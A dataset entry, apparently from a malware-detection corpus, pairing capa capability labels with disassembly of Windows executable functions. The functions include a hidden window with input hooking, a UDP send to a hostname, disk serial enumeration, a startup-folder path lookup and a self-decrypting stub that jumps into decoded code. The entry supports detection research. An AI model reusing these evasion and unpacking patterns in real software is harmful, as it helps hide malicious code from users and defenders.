joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x1c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.MSVCR80.dll__wtoi]
mov esi, dword [esp + 0x2c]
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
add esp, 4
push 0x64
push 0x403438
push 0x67
push esi
mov word [0x403508], ax
call edi
push 0x64
push 0x403370
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004010e0
mov eax, dword [esp + 0x34]
push eax
mov eax, esi
call fcn.00401170
add esp, 4
test eax, eax
jne 0x40105f
pop edi
pop esi
add esp, 0x1c
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea ecx, [esp + 0x14]
push ecx
mov esi, eax
call edi
test eax, eax
je 0x4010c6
push ebx
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorW]
push ebp
mov ebp, dword [sym.imp.USER32.dll_TranslateMessage]
nop
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push edx
push esi
push eax
call ebx
test eax, eax
jne 0x4010b3
lea ecx, [esp + 0x10]
push ecx
call ebp
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
jne 0x401090
pop ebp
pop ebx
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0x1c
ret 0x10

Function at 0x401170
Capabilities:
Hide graphical window

Disassembly:
push esi
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x403438
push 0x403370
push 0
mov dword [0x403500], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
jne 0x4011aa
pop esi
ret
mov eax, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push eax
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push esi
call edi
push 0
push 0x464
push esi
call dword [sym.imp.libTDMaster.dll_InitHook]
movzx ecx, word [0x403508]
push ecx
push 0
call dword [sym.imp.libTDMaster.dll_BeginSimulate]
add esp, 0x14
pop edi
mov eax, 1
pop esi
ret

Function at 0x40134c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401356
repz ret
jmp fcn.00401670
Function at 0x401c1f
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, ecx
push eax
push esi
mov dword [ebp - 0x54], eax
call fcn.00401b77
pop ecx
pop ecx
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401c71
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401d50
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea eax, [ebp - 0x50]
push eax
push 0x40
lea eax, [ebp - 0x4c]
push eax
push ebx
mov dword [ebp - 0x58], 0xb
call esi
test eax, eax
je 0x401d4d
cmp dword [ebp - 0x50], 0x40
jne 0x401d4d
cmp word [ebp - 0x4c], 0x5a4d
jne 0x401d4d
push edi
push edi
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 0x50]
push eax
push 0xf8
lea eax, [ebp - 0x184]
push eax
push ebx
call esi
test eax, eax
je 0x401d4d
cmp dword [ebp - 0x50], 0xf8
jne 0x401d4d
cmp dword [ebp - 0x184], 0x4550
jne 0x401d4d
push dword [ebp - 0x54]
call fcn.00448d7d
mov ebx, eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x60], edi
call fcn.00449bef
push 9
pop ecx
mov esi, eax
lea edi, [ebp - 0x88]
rep movsd dword es:[edi], dword [esi]
push dword [ebp - 0x88]
mov eax, dword [ebp - 0x78]
push dword [ebp - 0x84]
inc eax
push dword [ebp - 0x80]
push dword [ebp - 0x7c]
push eax
mov eax, dword [ebp - 0x74]
add eax, 0x76c
push eax
push 0x47aa08
push 0x7e
pop eax
sub eax, ebx
push eax
mov eax, dword [ebp - 0x54]
lea eax, [eax + ebx*2]
push eax
call fcn.004493aa
add esp, 0x2c
and dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00448d93
leave
ret
Function at 0x401d5f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x120
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp + 0x70], eax
push esi
push 0x118
lea eax, [ebp - 0xa8]
push 0
push eax
call fcn.00449330
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
add esp, 0xc
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xac], 0x11c
call esi
test eax, eax
jne 0x401dc7
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xac], 0x114
call esi
test eax, eax
jne 0x401dc7
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401e3b
mov eax, dword [ebp - 0x9c]
sub eax, 0
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0xa8]
mov ecx, 0x47aa48
je 0x401ec2
dec eax
je 0x401e67
dec eax
jne 0x401ec7
cmp esi, 4
ja 0x401e00
mov ecx, 0x47aa64
jmp 0x401ec7
cmp esi, 5
jne 0x401e57
mov edx, dword [ebp - 0xa4]
test edx, edx
jne 0x401e4b
mov ecx, 0x47aa90
lea eax, [ebp - 0x98]
push ebx
movzx ebx, word [ebp - 0xa0]
push ebx
push edx
push esi
push eax
push ecx
push 0x47ac60
push dword [ebp + 0x7c]
push edi
call fcn.004493aa
add esp, 0x20
xor eax, eax
pop ebx
mov ecx, dword [ebp + 0x70]
xor ecx, ebp
pop esi
call fcn.00448d93
add ebp, 0x74
leave
ret
cmp edx, 1
jne 0x401e14
mov ecx, 0x47aac0
jmp 0x401e14
cmp esi, 6
jne 0x401ec7
test edx, edx
jne 0x401e14
mov ecx, 0x47aaec
jmp 0x401ec7
cmp esi, 4
jne 0x401ebb
test edx, edx
jne 0x401e92
cmp word [ebp - 0x96], 0x43
je 0x401e8b
cmp word [ebp - 0x96], 0x42
je 0x401e8b
mov ecx, 0x47ab50
jmp 0x401ed0
mov ecx, 0x47ab1c
jmp 0x401ed0
cmp edx, 0xa
jne 0x401eaf
cmp word [ebp - 0x96], 0x41
jne 0x401ea8
mov ecx, 0x47ab7c
jmp 0x401ed0
mov ecx, 0x47abac
jmp 0x401ed0
cmp edx, 0x5a
jne 0x401ebb
mov ecx, 0x47abd8
jmp 0x401ed0
mov ecx, 0x47ac04
jmp 0x401ec7
mov ecx, 0x47ac3c
cmp esi, 4
ja 0x401e14
mov eax, 0x47a840
jmp 0x401e1a
Function at 0x401eda
Capabilities:
Create udp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b0
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b0], eax
mov eax, 0x5a0
cmp dword [ebp + 0xc], eax
push esi
push edi
jbe 0x401f05
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x1a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebp - 0x1ac], eax
je 0x401fa7
push 0x47ac90
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x401f9b
xor eax, eax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x26b0
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [esi + 0xc]
xor ecx, ecx
cmp dword [eax], ecx
jne 0x401f72
mov edx, eax
add edx, 4
inc ecx
cmp dword [edx], 0
je 0x401f69
mov eax, dword [eax + ecx*4]
mov eax, dword [eax]
test eax, eax
mov dword [ebp - 0x10], eax
je 0x401f9b
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 0x1b0]
push dword [ebp - 0x1ac]
call dword [sym.imp.WS2_32.dll_sendto]
push dword [ebp - 0x1ac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00448d93
leave
ret
Function at 0x404e90
Capabilities:
Get disk information

Disassembly:
push 0xb0
mov eax, 0x46c8da
call fcn.0045199e
mov eax, dword [ebp + 8]
push 9
pop ecx
mov esi, 0x47b72c
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x41], bl
mov word [ebp - 0x18], 0x20
mov word [ebp - 0x16], 0x3a
mov word [ebp - 0x14], 0x5c
mov word [ebp - 0x12], bx
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor ecx, ecx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ebx
or edi, 0xffffffff
cmp byte [ebp - 0x41], bl
jne 0x4050b1
mov edx, dword [ebp - 0x64]
xor eax, eax
inc eax
shl eax, cl
test edx, eax
je 0x4050a1
lea eax, [ebp - 0x18]
add ecx, 0x41
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x404f27
cmp eax, 6
jne 0x4050a1
mov eax, dword [ebp - 0x50]
push ebx
push ebx
push 3
push ebx
add eax, 0x30
inc dword [ebp - 0x50]
push 7
mov word [ebp - 0x1e], ax
push 0xc0000000
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, edi
mov dword [ebp - 0x48], eax
je 0x4050a1
push 0x18
lea eax, [ebp - 0xa0]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call fcn.00449330
add esp, 0xc
push ebx
lea eax, [ebp - 0x5c]
push eax
push 0x18
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x74080
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x405098
push 0x221
call fcn.0044ad35
mov esi, eax
cmp esi, ebx
pop ecx
mov dword [ebp - 0x4c], esi
je 0x405098
push ebx
lea eax, [ebp - 0x58]
push eax
push 0x221
push esi
push 0x21
push esi
push 0x7c088
push dword [ebp - 0x48]
mov byte [esi + 0xa], 0xec
mov dword [ebp - 0x58], ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x405091
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
add esi, 0x10
cmp esi, ebx
je 0x40508e
cmp eax, 0x2e
jbe 0x40508e
push 0x13
push esi
push 0xa
pop ecx
lea edx, [ebp - 0x88]
call fcn.00404a08
pop ecx
pop ecx
mov ecx, dword [ebp - 0x60]
push edi
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00409767
push ebx
push 1
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], edi
call fcn.00409695
push 0x2e
push esi
push 0x1b
pop ecx
lea edx, [ebp - 0x88]
call fcn.00404a08
pop ecx
pop ecx
mov ecx, dword [ebp - 0x68]
push edi
push ebx
push eax
mov dword [ebp - 4], 1
call fcn.00409767
push ebx
push 1
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], edi
call fcn.00409695
push 0x1a
push esi
push 0x17
pop ecx
lea edx, [ebp - 0xbc]
call fcn.00404a08
pop ecx
pop ecx
mov ecx, dword [ebp - 0x6c]
push edi
push ebx
push eax
mov dword [ebp - 4], 2
call fcn.00409767
push ebx
push 1
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], edi
call fcn.00409695
mov byte [ebp - 0x41], 1
mov esi, dword [ebp - 0x4c]
push esi
call fcn.0044adf8
pop ecx
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x54]
inc ecx
cmp ecx, 0x20
mov dword [ebp - 0x54], ecx
jl 0x404eef
mov al, byte [ebp - 0x41]
call fcn.00451a21
ret
Function at 0x405bd9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xa4]
sub esp, 0x124
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp + 0xa0], eax
mov eax, dword [ebp + 0xac]
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x7c]
push eax
xor ebx, ebx
mov edi, 0x20019
push edi
push ebx
push 0x47b7d8
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], 3
mov dword [ebp - 0x78], 0x104
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x70], ebx
call esi
test eax, eax
jne 0x405d4c
push dword [ebp - 0x80]
lea eax, [ebp - 0x64]
push 0x47b828
push 0x103
push eax
call fcn.004089fd
add esp, 0x10
lea eax, [ebp - 0x68]
push eax
push edi
push ebx
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x7c]
call esi
test eax, eax
jne 0x405d43
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 4
pop eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push 0x47b838
push dword [ebp - 0x68]
call esi
test eax, eax
jne 0x405d3a
push 0x104
xor edi, edi
lea eax, [ebp - 0x64]
push ebx
inc edi
push eax
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x78], 0x103
call fcn.00449330
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push 0x47b848
push dword [ebp - 0x68]
call esi
test eax, eax
jne 0x405d3a
cmp dword [ebp - 0x70], edi
jne 0x405d2a
mov esi, 0x47b858
push esi
call fcn.004492a0
push eax
lea eax, [ebp - 0x64]
push esi
push eax
call fcn.0044a5e5
add esp, 0x10
test eax, eax
jne 0x405d04
mov dword [ebp - 0x6c], ebx
jmp 0x405d3a
cmp dword [ebp - 0x70], edi
jne 0x405d2a
push esi
call fcn.004492a0
push eax
lea eax, [ebp - 0x64]
push esi
push eax
call fcn.0044a5e5
add esp, 0x10
test eax, eax
je 0x405d2a
mov dword [ebp - 0x6c], 2
jmp 0x405d3a
xor eax, eax
cmp dword [ebp - 0x70], 2
setne al
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6c], eax
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0xa0]
mov eax, dword [ebp - 0x6c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00448d93
add ebp, 0xa4
leave
ret
Function at 0x406149
Capabilities:
Write file on windows

Disassembly:
push 0x48
mov eax, 0x46d0c8
call fcn.0045199e
mov eax, dword [ebp + 8]
xor ebx, ebx
push ebx
lea edi, [ebp - 0x48]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x49], bl
call fcn.00406255
pop ecx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x30], 8
mov eax, dword [ebp - 0x44]
jae 0x406179
lea eax, [ebp - 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push eax
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x4061cd
push 1
lea edi, [ebp - 0x2c]
call fcn.00406255
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
pop ecx
jae 0x4061ac
lea eax, [ebp - 0x28]
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push eax
call esi
push ebx
push 1
lea esi, [ebp - 0x2c]
mov edi, eax
call fcn.00407256
cmp edi, 0xffffffff
je 0x4061f3
push ebx
lea eax, [ebp - 0x50]
push eax
push 0x10
push dword [ebp - 0x54]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4061ec
cmp dword [ebp - 0x50], 0x10
jne 0x4061ec
mov byte [ebp - 0x49], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea esi, [ebp - 0x48]
call fcn.00407256
mov al, byte [ebp - 0x49]
call fcn.00451a21
ret 4

Function at 0x406255
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x230
mov eax, 0x46d08d
call fcn.0045199e
xor ebx, ebx
mov dword [ebp - 0x21c], ebx
mov dword [edi + 0x18], 7
mov dword [edi + 0x14], ebx
mov dword [ebp - 0x220], edi
mov word [edi + 4], bx
push 0x208
xor esi, esi
lea eax, [ebp - 0x218]
push ebx
mov dword [ebp - 4], ebx
inc esi
push eax
mov dword [ebp - 0x21c], esi
call fcn.00449330
mov al, byte [ebp + 8]
add esp, 0xc
neg al
push esi
sbb eax, eax
and eax, 0xfffffff7
add eax, 0x23
push eax
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x406326
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x23c]
call fcn.00406876
push 0xffffffffffffffff
mov dword [ebp - 4], esi
push ebx
mov esi, edi
call fcn.00407bd7
push ebx
push 1
lea esi, [ebp - 0x23c]
mov byte [ebp - 4], bl
call fcn.00407256
cmp byte [ebp + 8], bl
je 0x4062fe
push 0x47b864
jmp 0x406303
push 0x47b88c
push edi
call fcn.004068cb
mov ecx, edi
call fcn.0040632e
test al, al
jne 0x40631b
mov ecx, edi
call fcn.004063fc
push 0x47b8b0
push edi
call fcn.004068cb
mov eax, edi
call fcn.00451a21
ret
Function at 0x41c269
Capabilities:
Create directory

Disassembly:
push 4
mov eax, 0x46b715
call fcn.00451935
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], edi
mov eax, dword [eax]
sub eax, 0x10
call fcn.0040166c
add eax, 0x10
mov dword [esi], eax
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 1
call fcn.00401000
push 0x481398
push esi
call fcn.00401a16
mov eax, dword [esi]
push edi
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push 0x4813c4
push esi
call fcn.00401a16
mov eax, esi
mov edi, 0x4927ec
call fcn.004013b6
mov eax, esi
call fcn.00451a0d
ret
Function at 0x41d49b
Capabilities:
Delete file

Disassembly:
push 0x148
mov eax, 0x46d31b
call fcn.00451935
push 0x47a810
lea eax, [ebp - 0x14]
push eax
call fcn.0040136f
lea eax, [ebp - 0x14]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.00401191
or dword [ebp - 4], 0xffffffff
mov esi, eax
mov eax, dword [ebp - 0x14]
pop ecx
add eax, 0xfffffff0
call fcn.004019a6
cmp esi, edi
je 0x41d4f9
push 0x47a82c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x41d4f9
push 0x47a840
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp + 8]
mov dword [0x492734], eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp eax, edi
je 0x41d566
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
push 5
push eax
call ebx
mov esi, dword [sym.imp.USER32.dll_IsWindow]
jmp 0x41d533
push 0x4814d0
push edi
call dword [sym.imp.USER32.dll_GetPropW]
test eax, eax
jne 0x41d53e
push 2
push edi
call ebx
mov edi, eax
push edi
call esi
test eax, eax
jne 0x41d51e
xor edi, edi
test edi, edi
je 0x41d564
push edi
call esi
test eax, eax
je 0x41d564
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x41d63d
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
jmp 0x41d63d
xor edi, edi
call fcn.0041b591
lea eax, [ebp - 0x154]
push eax
call fcn.00414c47
lea ebx, [ebp - 0x154]
mov dword [ebp - 4], 1
call fcn.0041dc81
push dword [ebp - 0x150]
call dword [sym.imp.USER32.dll_BringWindowToTop]
push dword [ebp - 0x150]
push 0x4814d0
push dword [ebp - 0x150]
call dword [sym.imp.USER32.dll_SetPropW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x41d5d4
cmp dword [ebp - 0x28], 0x20
je 0x41d5d4
cmp dword [ebp - 0x28], 0xd
je 0x41d5d4
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push edi
push edi
push edi
lea eax, [ebp - 0x30]
push eax
call esi
test eax, eax
jne 0x41d5b4
call fcn.0041b613
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp + 8]
call fcn.004149fd
lea ecx, [ebp - 0x10]
push 0x481510
push ecx
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.004039d1
mov eax, dword [ebp + 8]
pop ecx
pop ecx
add eax, 0xfffffff0
call fcn.004019a6
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.004019a6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
call fcn.00414df5
xor eax, eax
call fcn.00451a0d
ret 0x10
Function at 0x42a06f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x1c
mov eax, 0x46d718
call fcn.00451935
mov edi, ecx
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp + 8]
mov esi, eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor ebx, ebx
cmp eax, ebx
je 0x42a0d8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
je 0x42a0e8
mov dword [ebp - 0x28], 0x481ca0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x1c], bl
push ebx
push edi
lea edi, [ebp - 0x28]
mov dword [ebp - 4], ebx
call fcn.0042a0f2
mov esi, edi
mov bl, al
call fcn.0042c44d
mov al, bl
jmp 0x42a0ea
add edi, 0x44
push 0x481a34
push edi
call fcn.0044eff0
pop ecx
pop ecx
xor al, al
call fcn.00451a0d
ret 8
Function at 0x447954
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00447893
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00449330
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4479a3
cmp dword [ebp - 0x1c], 5
jb 0x4479bb
jmp 0x4479b7
cmp dword [ebp - 0x10], 1
jne 0x4479bb
cmp dword [ebp - 0x1c], 4
ja 0x4479b7
jne 0x4479bb
cmp dword [ebp - 0x18], 0
jbe 0x4479bb
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x46f62c
call fcn.00412c87
test eax, eax
jge 0x4479dc
mov byte [0x4926dc], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00448d93
add ebp, 0x78
leave
ret

Function at 0x448d93
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48e5fc]
jne 0x448d9d
repz ret
jmp fcn.00454644
Function at 0x466d77
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00454892
xor ebx, ebx
cmp dword [0x4926ac], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x466e4d
push 0x478fcc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x466f2d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x478fc0
push edi
call esi
cmp eax, ebx
je 0x466f2d
push eax
call fcn.00454824
mov dword [esp], 0x478fb0
push edi
mov dword [0x4926ac], eax
call esi
push eax
call fcn.00454824
mov dword [esp], 0x478f9c
push edi
mov dword [0x4926b0], eax
call esi
push eax
call fcn.00454824
mov dword [0x4926b4], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004505fb
test eax, eax
pop ecx
pop ecx
je 0x466e1b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0044a076
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x466e4d
push 0x478f80
push edi
call esi
push eax
call fcn.00454824
cmp eax, ebx
pop ecx
mov dword [0x4926bc], eax
je 0x466e4d
push 0x478f68
push edi
call esi
push eax
call fcn.00454824
pop ecx
mov dword [0x4926b8], eax
mov eax, dword [0x4926b8]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x466ed2
cmp dword [0x4926bc], ecx
je 0x466ed2
push eax
call fcn.0045489b
push dword [0x4926bc]
mov esi, eax
call fcn.0045489b
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x466ed2
cmp edi, ebx
je 0x466ed2
call esi
cmp eax, ebx
je 0x466e9f
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x466e9f
test byte [ebp - 0x18], 1
jne 0x466ed2
lea eax, [ebp - 0x10]
push eax
call fcn.00450632
test eax, eax
pop ecx
je 0x466eba
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0044a076
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x466ec9
or dword [ebp + 0x10], 0x200000
jmp 0x466f0d
or dword [ebp + 0x10], 0x40000
jmp 0x466f0d
mov eax, dword [0x4926b0]
cmp eax, dword [ebp - 8]
je 0x466f0d
push eax
call fcn.0045489b
cmp eax, ebx
pop ecx
je 0x466f0d
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x466f0d
mov eax, dword [0x4926b4]
cmp eax, dword [ebp - 8]
je 0x466f0d
push eax
call fcn.0045489b
cmp eax, ebx
pop ecx
je 0x466f0d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4926ac]
call fcn.0045489b
cmp eax, ebx
pop ecx
je 0x466f2d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x466f2f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx